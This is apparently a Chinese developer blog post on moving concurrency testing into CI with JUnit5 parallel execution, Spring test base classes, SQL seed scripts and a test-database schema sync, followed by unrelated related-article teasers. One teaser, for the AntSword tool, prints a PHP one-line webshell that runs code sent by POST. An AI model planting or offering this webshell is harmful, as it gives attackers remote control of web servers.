CI+JUnit5并发单测机制创新实践
目录
一. 现状·问题
二. 分析原因
三. 采取措施
四. 实践步骤
五. 效能提升
资料获取方法
一. 现状·问题
针对现如今高并发场景的业务系统,“并发问题” 终归是必不可少的一类(占比接近10%),每次出现问题和事故后,需要耗费大量人力成本排查分析并修复。那如果能在事前尽可能避免岂不是很香?

二. 分析原因
- 当前并发测试多数依赖测试人员进行脚本测试,同时还依赖了研发和产品识别出并发操作的场景用例。
- 对于并发测试,大概两条路子:
- 所有修改同样数据的命令式接口都测一遍?【耗费巨大测试成本】
- 保证黄金流程的接口,研发从头扒代码。【可能会遗漏,耗费一定研发成本】
🤔自我反思
- 作为研发,是不是在刚开发接口时候,识别到并发场景随着单元测试阶段同时进行并发测试,这样的成本是最小的,收益是最高效的!
三. 采取措施
并发测试前置
采用CI持续集成机制,依靠行云流水线,底层利用junit5单元测试框架并发parallel引擎,嵌入同步数据库的自定义unit test脚本,将每个并发case维护成单元测试,数据自我闭环,可重复执行!
将核心的并发场景进行及时的运行验证,最早洞察,最早验证,最小成本,最大保障!

四. 实践步骤
前提:配置junit-platform.properties
# src/test/resources/junit-platform.properties
junit.jupiter.execution.parallel.enabled=true
junit.jupiter.execution.parallel.config.strategy=fixed
junit.jupiter.execution.parallel.config.fixed.parallelism=20
单接口并发-@RepeatedTest
- ManualCheckAppConcurrentTest 出库复核并发测试「单接口并发」-> 手动复核 10个线程
👉 核心代码块
public class ManualCheckAppConcurrentTest extends ConcurrentTest {@ResourceManualCheckAppService manualCheckAppService;//记录执行成功的线程数static int successThreadCount = 0;///// 单接口并发///@DisplayName("(单接口并发)并发测试【手动确认复核】")@Description("(10个线程)场景:复核1件,一共5件,应该有5个线程成功,5个线程失败:没有查询到容器明细记录" +"使用友好式分布式锁防止并发,并发后等待重试,保证顺序执行无异常!")@Execution(CONCURRENT)@RepeatedTest(value = 10, name = "{displayName}:{totalRepetitions}-{currentRepetition}")public void testConfirmChecked(TestInfo testInfo) {manualCheckAppService.confirmChecked(mockConfirmCheckedDto());successThreadCount++;}/*** 断言最终结果:数据无问题,线程执行无问题*/@AfterAllpublic static void assertResult() {//线程执行成功数期望:一共5件,每个线程复核1件,共有5个线程成功Assertions.assertEquals(5, successThreadCount);//数据成功期望:没有待复核的容器明细了,因为都复核成功了,一共5件ConfirmCheckedDto confirmCheckedDto = mockConfirmCheckedDto();List<ContainerDetailPo> containerDetailPos = SpringUtil.getBean(ContainerDetailDao.class).selectUncheckDetailsBySoAndSku(confirmCheckedDto.getTaskNo(), confirmCheckedDto.getShipmentOrderNo(), confirmCheckedDto.getSku(), confirmCheckedDto.getWarehouseNo());Assertions.assertTrue(CollectionUtils.isEmpty(containerDetailPos));}@Test@Sql({"/concurrent/manualCheck.sql"})@Overridevoid prepareData()
多场景并发-@Execution(CONCURRENT)
- CheckAppConcurrentTest 出库复核并发测试「多场景并发」-> 手动复核|自动复核
👉 核心代码块
public class CheckAppConcurrentTest extends ConcurrentTest {@ResourceManualCheckAppService manualCheckAppService;@ResourceAutoCheckAppService autoCheckAppService;///// 多场景并发///@DisplayName("(多场景并发)并发测试【自动确认复核】")@Description("与手动复核发生并发场景,期望可能存在业务异常(自定义锁冲突发生的消息)")@Execution(CONCURRENT)@Testpublic void testAutoCheckBySo() {autoCheckAppService.autoCheckBySo(Lists.newArrayList("SO-6_6_601-1492066800186167296"), mockAutoCheckBySoDto());}@DisplayName("(多场景并发)并发测试【手动确认复核】")@Description("与自动复核发生并发场景,期望可能存在业务异常(自定义锁冲突发生的消息)")@Execution(CONCURRENT)@Testpublic void testConfirmChecked() {manualCheckAppService.confirmChecked(mockConfirmCheckedDto());}/*** 断言最终结果:数据无问题*/@AfterAllpublic static void assertResult() {//数据成功期望:没有待复核的容器明细了,无论是手动复核还是自动复核,都会全部复核完ConfirmCheckedDto confirmCheckedDto = mockConfirmCheckedDto();List<ContainerDetailPo> containerDetailPos = SpringUtil.getBean(ContainerDetailDao.class).selectUncheckDetailsBySoAndSku(confirmCheckedDto.getTaskNo(), confirmCheckedDto.getShipmentOrderNo(), confirmCheckedDto.getSku(), confirmCheckedDto.getWarehouseNo());Assertions.assertTrue(CollectionUtils.isEmpty(containerDetailPos));}@Test@Sql({"/concurrent/manualCheck.sql"})@Overridevoid prepareData() {}
并发单测基类-@Transactional
ConcurrentTest 建议抽出并发测试基类(主要目的:准备数据、设置路由、数据清除、独立执行)
@Tag("parallel")分组: 并发测试用例,有助于单独执行套件!
👉 核心代码块
@SpringBootTest(classes = WebApplication.class)
@Tag("parallel")
public abstract class ConcurrentTest {/*** 并发测试场景的前提数据准备* { @Sql 数据脚本配置 }*/@Transactional@Order(0)@Rollback(false)abstract void prepareData();/*** 设置当前线程数据源*/@BeforeTransactionpublic void setThreadDataSource() {DataSourceContextHolder.clearDataSourceKey();//多数据源,分库分表DataSourceContextHolder.setDataSource("ds0");}/*** 清除数据*/@Rollback(false)@AfterAllpublic static void clearData(){new DatabaseSyncTest().execute("wms_check","wms_check_test");}
数据准备-@Sql
如何准备数据?
=> 新建一个专门单元测试/并发测试的空数据库

准备测试场景的前置数据SQL脚本
👉 源脚本
DELETE FROM ck_task;
INSERT INTO ck_task (id, task_no, sku_qty, total_qty, platform_no, status, warehouse_no, create_user,update_user, create_time, update_time, ts, deleted, suggest_platform, uuid,parent_task_no, pick_differ_allow, operation_type, picking_flag, task_type,ext_info,subtask_qty, tenant_code, current_stream_no, confluence, batch_no, requirements)
VALUES (1492071049884340224, 'T6X6X60122021100000329', 1.0000, 5.0000, '', 0, '6_6_601', 'xiaoyan', 'xiaoyan','2022-02-11 17:45:26', '2022-02-11 17:45:26', '2022-02-11 17:45:26', 0, '', 'zyr1228003', '', 0, 0, 0, 0, null,null, 'TC30020150', 0, 1, 'cj006001', '{"allowBatchCheck": true}');
数据回滚-@ParameterizedTest
CI自动同步数据库表结构: 测试环境数据库->单测数据库
利好:(研发无需被动维护schema,自动与真实数据库结构同步)
只需要将下面单测copy到代码中,将fromDb和toDb参数修改成自己数据库即可!
👉 源代码
@DisplayName("单元测试MYSQL-DB结构同步")@SneakyThrows@ParameterizedTest@CsvSource("wms_check,wms_check_test")public void execute(String fromDb, String toDb) {ResultSet resultSet = null;Class.forName("com.mysql.jdbc.Driver");try (Connection connection = DriverManager.getConnection("***","user", "***");Statement statement = connection.createStatement()) {String initDb = "DROP DATABASE IF EXISTS " + toDb + ";CREATE DATABASE " + toDb + ";";log.info(initDb);statement.executeUpdate(initDb);resultSet = statement.executeQuery("SHOW TABLES FROM " + fromDb + ";");List<String> tableNames = Lists.newArrayList();while (resultSet.next()) {tableNames.add(resultSet.getString("Tables_in_" + fromDb));}for (String tableName : tableNames) {String syncSql = "DROP TABLE IF EXISTS " + toDb + "." + tableName + ";" +"CREATE TABLE " + toDb + "." + tableName + " LIKE " + fromDb + "." + tableName + ";";log.info(syncSql);statement.executeUpdate(syncSql);}} finally {if(resultSet != null){resultSet.close();}}}
配置CI-@行云流水线
建议在提测流水线增加,不要再日常dev流水线(集成测试相对耗时)


只执行并发单测用例-Dtest.mode 基于junit5 @Tag
JUnit 5 User Guide
mvn test -Dtest.mode=parallel

配置IDEA-本地测试

—— 只运行并发测试用例

执行结果

单接口并发单测

多场景并发单测

五. 效能提升
5.1需求交付效率提升
5.1.1降低测试周期阶段时长
2022-02月实践后
因为「并发测试」前置到「研发单元测试」环节,所以「测试阶段」时长缩短 (2.5 天 -> 1 天)

2022-Q1

2022-Q2

2022-Q3

2022-Q4

「测试周期」阶段停留时长和占比,呈下降趋势!
5.1.2缩短需求交付全周期
2022-02月实践后
因为「测试周期」缩短,研发单元测试成本几乎不变,所以「需求交付全周期」随之缩短(55 天 -> 35 天)!

5.2人效提升
5.2.1提升验证全面性
「case by case」 ,通过单元测试「断言机制」,最细粒度全方位验证!
在【开发阶段】识别到接口存在并发问题,及时编写单元测试进行验证,针对分布式锁和乐观锁等常用防并发手段,对应不同的assert方式:
- 数据库乐观锁:通过判断最终数据保证执行无问题
- 分布式友好锁:不会报错,会等待,最终所有请求处理成功
- 分布式冲突锁:直接报错,断言异常信息
- ......
5.2.2降低测试人力成本
减少花大量时间专项测试N个接口并发测试成本,「最早发现,最早处理,最小成本」!
根据下图可见,从编码阶段、单元测试阶段、接口测试阶段、集成测试阶段、预发布阶段等软件生命周期中,越早发现问题,付出成本越小。

5.2.3提升需求吞吐量
2022-02月实践后
因为减少人力成本,所以会直接提升需求的吞吐量(200个 -> 225个)!

5.3过程质量提升
5.3.1降低问题的发生概率
「并发测试前置」 到研发单元测试环节,可减少缺陷数,降低问题发生概率!

5.3.2减少线上问题数
👉 今年线上问题-并发问题 类别为 0

5.3.2减少Bug数
👉过程质量中并发问题趋势逐步降低

资料获取方法
【留言777】


各位想获取源码等教程资料的朋友请点赞 + 评论 + 收藏,三连!
三连之后我会在评论区挨个私信发给你们~
相关文章:
CI+JUnit5并发单测机制创新实践
目录 一. 现状问题 二. 分析原因 三. 采取措施 四. 实践步骤 五. 效能提升 资料获取方法 一. 现状问题 针对现如今高并发场景的业务系统,“并发问题” 终归是必不可少的一类(占比接近10%),每次出现问题和事故后,…...
蚁剑antSword-maste下载-安装-使用-一句话木马
下载 https://github.com/AntSwordProject/antSword 一句话木马 hack.php脚本 <?php eval($_POST[attack]);?> 安装 1、安装完成后启动 2、初始化,选择有源码的目录 3、连接...
[保研/考研机试] KY80 进制转换 北京大学复试上机题 C++实现
题目链接: KY80 进制转换https://www.nowcoder.com/share/jump/437195121691735660774 描述 写出一个程序,接受一个十六进制的数值字符串,输出该数值的十进制字符串(注意可能存在的一个测试用例里的多组数据)。 输入描述: 输…...
AP2915DC-DC降压恒流驱动IC LED电源驱动芯片 汽车摩托电动车灯
AP2915 是一款可以一路灯串切换两路灯串的降压 恒流驱动器,高效率、外围简单、内置功率管,适用于 5-80V 输入的高精度降压 LED 恒流驱动芯片。内置功 率管输出功率可达 12W,电流 1.2A。 AP2915 一路灯亮切换两路灯亮,其中一路灯亮可 以全亮&a…...
Android 实现无预览拍照功能
Android 实现无预览拍照功能 1.权限 需要相机、读写文件、悬浮窗权限 申请相机、读写文件 manifest.xml <uses-permission android:name"android.permission.CAMERA" /> <uses-permission android:name"android.permission.READ_EXTERNAL_STORAGE…...
第一章-数据结构绪论
第一章-数据结构绪论 数据结构的起源和相关概念 数据结构是一门研究非数值计算的程序设计问题中的操作对象,以及它们之间的关系和操作等相关问题的学科。 程序设计的实质是选择一个好的结构,再设计一种好的算法。 数据:是描述客观事物的符…...
20、stm32使用FMC驱动SDRAM(IS42S32800G-6BLI)
本文将使用安富莱的STM32H743XIH板子驱动SDRAM 引脚连接情况 一、CubeMx配置工程 1、开启调试口 2、开启外部高速时钟 配置时钟树 3、开启串口1 4、配置MPU 按照安富莱的例程配置: /* ********************************************************************…...
git仓库大文件导致仓库体积增大处理
一、删除大文件 git filter-branch --tree-filter rm -rf path/to/large/file --prune-empty HEAD二、提交到远程 git push -f origin main PS:-f必须参数,强制刷新PS:git设计是为了存储代码,一般不将大文件上传到仓库...
将游戏坐标转化成屏幕鼠标坐标
将游戏坐标转化成屏幕鼠标坐标 思路说明:转化其实是取得两点的相对位置,例如将游戏人物移动到另外一个位置(游戏人物初始位置坐标到目的位置坐标),鼠标需要移动到屏幕的某个位置。算出游戏的移动距离,游戏…...
springboot中Instant时间传参及序列化
在部分场景中,后台的时间属性用的不是Date或Long,而是Instant,Java8引入的一个精度极高的时间类型,可以精确到纳秒,但实际使用的时候不需要这么高的精确度,通常到毫秒就可以了。 而在前后端传参的时候需要…...
nacos安装与启动相关问题(启动闪退和显示此站点的连接不安全)
问题:启动闪退 尝试: 使用记事本打开cmd文件,在文件结尾处新增两行 pause endlocal 如果还有问题:ERROR Nacos failed to start, please see D:\dev\nacos\logs\nacos.log for more details 尝试: 在nacos的bin目…...
51单片机学习--DS18B20温度读取温度报警器
需要先编写OneWire模块,再在DS18B20模块中调用OneWire模块的函数 先根据原理图做好端口的声明: sbit OneWire_DQ P3^7;接下来像之前一样把时序结构用代码模拟出来: unsigned char OneWire_Init(void) {unsigned char i;unsigned char Ac…...
PYTHON专栏
PYTHON专栏 python基础教程 python基础教程 Python练手算法 Python练手算法 Python设计模式 Python设计模式 MySQL教程 MySQL教程 ORM框架SQLAlchemy Python ORM框架SQLAlchemy Python Web框架Django Python Web框架Django Web框架FastAPI Web框架FastAPI http库request…...
从初学者到专家:Java运算符的完整指南
目录 1.算数运算符 2.增量运算符 2.1自增/自减运算符 4. 逻辑运算符 5.位运算符 6.移位运算符 7. 条件运算符 导言: Java作为一门广泛使用的编程语言,其运算符是编写代码时必不可少的一部分。本篇博客将为你详细介绍Java中的各种运算符…...
Linux:shell脚本:基础使用(3)
for循环语句 语句格式 for for变量 in 取值列表(可以是变量或者自己定义) do 循环内容 done 工作方式就是通过取值列表去判断循环的次数,每次循环的同时把列表一行的值赋予到for变量。取值方式如果是数字,那就通过数字去…...
opencv基础46-图像金字塔02-拉普拉斯金字塔
前面我们介绍了高斯金字塔,高斯金字塔是通过对一幅图像一系列的向下采样所产生的。有时,我们希望通过对金字塔中的小图像进行向上采样以获取完整的大尺寸高分辨率图像,这时就需要用到拉普拉斯金字塔 前面我们已经介绍过,一幅图像在…...
到 2030 年API 攻击预计将激增近 1000%
导读云原生应用程序编程接口管理公司 Kong 联合外部经济学家的最新研究预计,截至 2030 年 API 攻击将激增 996%,意味着与 API 相关的网络威胁的频率和强度都显着升级。 这项研究由 Kong 分析师和布朗大学副教授 Christopher Whaley 博士合作进行&#x…...
环形队列+DMA空闲中断+接收串口数据
环形队列DMA空闲中断接收串口数据 一.序言二.实验原理三.实战是检验真理的唯一标准3.1 usart1.c3.2 串口中断 三.队列代码4.1 fifo.c4.2 fifo.h 五.结语 一.序言 本次实验利用环形队列DMA空闲中断串口。。通过这个实验可以非常深入的理解队列,DMA,串口的知识。如果…...
LeetCode 31题:下一个排列
目录 题目 思路 代码 题目 整数数组的一个 排列 就是将其所有成员以序列或线性顺序排列。 例如,arr [1,2,3] ,以下这些都可以视作 arr 的排列:[1,2,3]、[1,3,2]、[3,1,2]、[2,3,1] 。 整数数组的 下一个排列 是指其整数的下一个字典序…...
CMake:检测python模块和包
CMake:检测python模块和包 导言项目结构CMakeLists.txt相关源码 导言 上一篇,我们基本了解了如何去检测python的解释器和python库。通常,代码是依赖于特定的python模块,无论是python工具、嵌入python的程序,还是扩展python的库。…...
AI测试工程师:下一个五年最紧缺的测试岗位?
随着人工智能技术从概念走向大规模商业落地,软件质量保障体系正经历一场静默但深刻的结构性变革。对于广大的软件测试从业者而言,一个前所未有的职业机遇与挑战并存的十字路口已经出现。当传统测试工程师仍在与确定性的功能验证和自动化脚本缠斗时&#…...
从$0.5到$5:我的App eCPM提升实战记录(附AdMob/穿山甲配置心得)
从$0.5到$5:我的App eCPM提升实战记录(附AdMob/穿山甲配置心得) 去年夏天,当我打开AdMob后台看到日均$0.5的eCPM时,几乎决定放弃这款工具类App的广告变现。但三个月后,这个数字奇迹般地突破了$5——没有买量…...
RTL8852BE无线网卡驱动:Linux下的终极配置与性能优化指南
RTL8852BE无线网卡驱动:Linux下的终极配置与性能优化指南 【免费下载链接】rtl8852be Realtek Linux WLAN Driver for RTL8852BE 项目地址: https://gitcode.com/gh_mirrors/rt/rtl8852be 你是否正在为RTL8852BE无线网卡在Linux系统下的驱动安装和性能优化而…...
别再瞎猜了!我用JavaScript模拟了100万次双色球购买,告诉你‘守号’到底有没有用
用JavaScript模拟百万次双色球:守号策略的数学真相 每次路过彩票站,总能看到有人拿着小本本认真记录往期开奖号码。作为程序员,我更习惯用代码来验证这些民间"秘籍"的实际效果。今天我们就用JavaScript构建一个双色球模拟系统&…...
第15集:时序数据库选型实战!InfluxDB vs TDengine vs Prometheus 到底选谁
第15集:时序数据库选型实战!InfluxDB vs TDengine vs Prometheus 到底选谁 本集解锁内容:手把手安装三款主流时序库,用相同的运维指标数据跑分对比写入速度、查询性能、存储空间;给出面试中关于技术选型的万能回答模板。学完本集,你能在面对“为什么选这个库”的追问时,…...
为什么32位STM32是CNC控制的终极升级方案?
为什么32位STM32是CNC控制的终极升级方案? 【免费下载链接】GRBL_for_STM32 A code transportation from origin grbl_v1.1f to STM32F103VET6, mainly prepare for my MegaCNC project. 项目地址: https://gitcode.com/gh_mirrors/gr/GRBL_for_STM32 GRBL_f…...
用 FastMCP 构建出行龙虾技能:从 MCP Server 到 Python/Node.js 双版本 Skill Client
参考实现: python:https://github.com/lonngxiang/travel-skill nodejs:https://github.com/lonngxiang/travel-skill-nodejs 本文完整拆解一个生产级 MCP 技能的技术实现——服务端用 FastMCP 框架,客户端提供 Python 和 Node.js 两套实现,最终通过 SKILL.md 接入 AI Age…...
**发散创新:基于Python与卫星互联网的轻量化边缘计算任务调度系统设计实践**在当前全球
发散创新:基于Python与卫星互联网的轻量化边缘计算任务调度系统设计实践 在当前全球卫星互联网(如Starlink、OneWeb等)快速发展的背景下,地面终端与天基节点之间的协同计算正从理论走向落地。传统的云计算架构难以满足低延迟、高可…...
从开发到部署:用Docker Compose封装你的MySQL+phpMyAdmin本地开发环境(附完整yml文件)
从开发到部署:用Docker Compose封装你的MySQLphpMyAdmin本地开发环境(附完整yml文件) 在当今快节奏的开发环境中,能够快速搭建、复制和销毁开发环境已成为现代开发者的核心竞争力之一。想象一下这样的场景:你刚刚加入一…...
原神60帧限制破解指南:免费开源FPS解锁工具详解
原神60帧限制破解指南:免费开源FPS解锁工具详解 【免费下载链接】genshin-fps-unlock unlocks the 60 fps cap 项目地址: https://gitcode.com/gh_mirrors/ge/genshin-fps-unlock 你是否在原神游戏中感受到了60帧的限制,无法充分发挥高刷新率显示…...
